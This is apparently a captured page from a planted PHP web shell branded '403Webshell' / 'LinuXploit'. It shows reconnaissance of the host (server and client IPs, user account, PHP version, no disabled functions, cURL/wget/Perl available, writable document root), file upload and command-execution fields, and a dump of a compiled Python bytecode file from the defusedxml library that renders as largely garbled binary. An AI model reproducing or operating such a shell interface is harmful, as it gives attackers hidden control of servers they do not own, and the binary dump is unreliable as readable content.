403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/defusedxml/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/defusedxml/__pycache__/expatbuilder.cpython-311.pyc
�

8F`����dZddlmZmZddlmZddlmZddl	m
Z
mZmZdZ
Gd�d	e��ZGd
�dee��Zdd�Z	dd�ZdS)zDefused xml.dom.expatbuilder
�)�print_function�absolute_import)�ExpatBuilder)�
Namespaces�)�DTDForbidden�EntitiesForbidden�ExternalReferenceForbiddenzxml.dom.expatbuilderc�:�eZdZdZ	dd�Zd�Zd�Zd�Zd	�Zd
�Z	dS)�DefusedExpatBuilderzDefused document builderNFTc�Z�tj||��||_||_||_dS�N)�
_ExpatBuilder�__init__�
forbid_dtd�forbid_entities�forbid_external)�self�optionsrrrs     �9/usr/lib/python3/dist-packages/defusedxml/expatbuilder.pyrzDefusedExpatBuilder.__init__s4��	��t�W�-�-�-�$���.���.�����c�$�t|||���r)r)r�name�sysid�pubid�has_internal_subsets     r�defused_start_doctype_declz.DefusedExpatBuilder.defused_start_doctype_decls���4���.�.�.rc�*�t||||||���r�r	)rr�is_parameter_entity�value�baserr�
notation_names        r�defused_entity_declz'DefusedExpatBuilder.defused_entity_decl s�� ��e�T�5�%��O�O�Orc�*�t|d||||���rr)rrr"rrr#s      r�defused_unparsed_entity_declz0DefusedExpatBuilder.defused_unparsed_entity_decl%s����d�D�%��
�N�N�Nrc�&�t||||���r)r
)r�contextr"rrs     r�#defused_external_entity_ref_handlerz7DefusedExpatBuilder.defused_external_entity_ref_handler)s��(��$��u�E�E�Erc��tj||��|jr|j|_|jr|j|_|j|_	|j
r|j|_dSdSr)
r�installrr�StartDoctypeDeclHandlerrr$�EntityDeclHandlerr&�UnparsedEntityDeclHandlerrr)�ExternalEntityRefHandler�r�parsers  rr+zDefusedExpatBuilder.install,sv����d�F�+�+�+��?�	M�-1�-L�F�*���	Q�'+�'?�F�$�/3�/P�F�,���	W�.2�.V�F�+�+�+�	W�	Wr)NFTT)
�__name__�
__module__�__qualname__�__doc__rrr$r&r)r+�rrrrs�������"�"�UY�/�/�/�/�/�/�/�P�P�P�
O�O�O�F�F�F�
W�
W�
W�
W�
Wrrc��eZdZdZd�Zd�ZdS)�DefusedExpatBuilderNSz2Defused document builder that supports namespaces.c�p�t�||��|jjr|j|_dSdSr)rr+�_options�namespace_declarations�start_namespace_decl_handler�StartNamespaceDeclHandlerr0s  rr+zDefusedExpatBuilderNS.install<sC���#�#�D�&�1�1�1��=�/�	Q�/3�/P�F�,�,�,�	Q�	Qrc�b�t�|��|���dSr)r�reset�_initNamespaces)rs rr?zDefusedExpatBuilderNS.resetAs.���!�!�$�'�'�'��������rN)r2r3r4r5r+r?r6rrr8r89s;������<�<�Q�Q�Q�
����rr8TFc�@�|rt}nt}||||���}t|t��rTt	|d��}	|�|��}|���n.#|���wxYw|�|��}|S)z{Parse a document, returning the resulting Document node.

    'file' may be either a file name or an open file object.
    �rrr�rb)r8r�
isinstance�str�open�	parseFile�close)	�file�
namespacesrrr�
build_builder�builder�fp�results	         r�parserOFs���
�,�-�
�
�+�
��m���P_����G��$����)�
�$��
�
��	��&�&�r�*�*�F��H�H�J�J�J�J��B�H�H�J�J�J�J�����"�"�4�(�(���Ms�A0�0Bc�j�|rt}nt}||||���}|�|��S)zOParse a document from a string, returning the resulting
    Document node.
    rB)r8r�parseString)�stringrJrrrrKrLs       rrQrQ^sL���,�-�
�
�+�
��m���P_����G����v�&�&�&rN)TFTT)r5�
__future__rr�xml.dom.expatbuilderrrr�_Namespaces�commonrr	r
�
__origin__rr8rOrQr6rr�<module>rXs����6�6�6�6�6�6�6�6�>�>�>�>�>�>�:�:�:�:�:�:�O�O�O�O�O�O�O�O�O�O�
#�
�$W�$W�$W�$W�$W�-�$W�$W�$W�N
�
�
�
�
�K�)<�
�
�
�����2VZ�
'�
'�
'�
'�
'�
'r

Youez - 2016 - github.com/yon3zu
LinuXploit